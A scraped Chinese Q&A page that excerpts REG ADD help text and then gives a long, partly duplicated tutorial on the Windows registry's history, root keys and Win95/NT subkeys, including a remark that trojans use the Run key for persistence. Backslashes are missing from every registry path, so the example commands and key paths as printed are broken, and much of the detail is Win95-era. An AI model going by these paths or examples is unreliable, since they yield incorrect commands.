[/reg:32 | /reg:64] KeyName [\Machine]FullKey Machine 远程机器名 - 忽略默认到当前机器。远程机器上 只有 HKLM 和 HKU 可用。 FullKey ROOTKEYSubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名称。 /v 所选项之下要添加的值名称。 /ve 为注册表项添加空白值名称(默认)。 /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ] 如果忽略,则采用 REG_SZ。 /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 如果忽略,则将 "" 用作分隔符。 /d 要分配给添加的注册表 ValueName 的数据。 /f 不用提示就强行覆盖现有注册表项。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 指定应该使用 64 位注册表视图访问的注册表项。例如: REG ADD \ABCHKLMSoftwareMyCo 添加远程机器 ABC 上的一个注册表项 HKLMSoftwareMyCo REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail 添加一个值(名称: MRU,类型: REG_MULTI_SZ,数据: faxmail) REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 注意: 在扩充字符串中使用插入符号 ( ^ )
2023-07-20 11:14:391

注册表究竟是干什么用的?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一
2023-07-20 11:14:495

什么是注册表.怎么打开注册表.在电脑哪里打开.?

点开始---运行---输入“regedit"回车就看到注册表了什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE 